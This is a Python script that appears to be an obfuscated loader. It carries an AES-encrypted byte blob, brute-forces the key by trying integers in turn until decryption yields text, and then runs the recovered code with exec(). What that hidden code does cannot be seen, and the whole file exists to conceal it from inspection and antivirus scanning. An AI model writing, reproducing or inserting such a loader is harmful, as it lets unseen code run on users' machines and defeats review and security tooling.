from Crypto import Random
from Crypto.Cipher import AES
import hashlib

class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\xee\xd9y`o\xdcE\xf7\xbc\x01.\xd9G[\xf1%\x1e\x8c\xd6\xf98\xe5-\xb46\x80\xb2\xaa\xb7KN\x97\x1a\xbf\x90@/\xc9\x8bI\x82\x80\xfbWQ\xc6P\x1c\xdc,\xa2a\xfa6i\xcaa\x0fe\xa4EDf5@\x9a\xda\x1f\xaf\x81\x94]\x8dn\'\xf0mR3\'<\x19d\xfc65"\xd5\xf1\x8e1z0\xb3dT-\xbe\x91#d\xcc~\xb8\xb6\xc0\xfa\x05\xd7\xb6\xcf\x86n\xc4\x03\x99\x14f\x15\xdb}0\xa315a\xcc\x19\x8aw(\x96cp\x1e!X{\xe5\xcf\xf5\xe9\xb2\xb6\x1f\xd4\xcb\xf3\t\xb4 i\x94|\x19\xd1\x96Y\xf7\x0b\xe6\x1cx\xc3\xf6\xc7\xeb^\x16\xd4\xbcI7S\xf8\xf6z\xcc\x90\xd4\x17\x17*\xfd#Et\x1b\x9476$\xa0\xcb\n]\xdb\x06\xe1\xff\xc4\x82\x88\xb8l>T8\xf7\xf5\x90z\xb0\xc7\x96\xad\x15\xc2\x1b\x93pXO\xb8\xf0\xc1pRk\xdaE\xefI\x92A\xda/\xbb\xe7\xa7\x9fY\xbe#\xc4\xed\xbf\xa6f\xfb\x7f\xc2\xe6Ov\xe8\xe75\xa0\x0c"\x13\xe0\xcb\xd3\x04\xbd\x10\xbf\xfc\xae\xf9?\x1d\xc87\xe7AYa\xe7\xe3\xbe`#\xd6\xdf\x0b\x03\xaf\xa4\xa7+2\xeeh-\x01J\xefM\x84\xfb\xeb/^i\xff\xba\xd3\x04O^\x86cS\x92\x05\xa3A1\xdb/\x93\x9c\xb8\xdc*\x07\xaf\x1b\xdf%\x82\xe3~F\xac\x11>^wD\xebk\xb4\xf1\x1b5\x86n\x8d\xae\x01\'!\xf1H\xa0)\xb8\xcaN\xc0\x9b\xb0=\x1b.n\xdd3\xeb\xee(\x18\x01\xff\x8d\xc5\xa2f\x92\xefS\xca\x99\x01"\xba\x84m4\xe4\x9d\xf8C\xe1\xef\xdd\xd3k=\x13lP\xefJ@\x1af1\x96[\x08X\x99\xac\xbf{\xab\x97\x96\xde~[\x96e@\xfc\x16\xc0;.\xd3\x04\t\x19\xe6\x9e\x14\xf6\x14\xcd\x19=\xc4\x8e\xeb\xba\x1bV;\xfc\xf3Y2\xed\x94\xa3uB?\xde'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
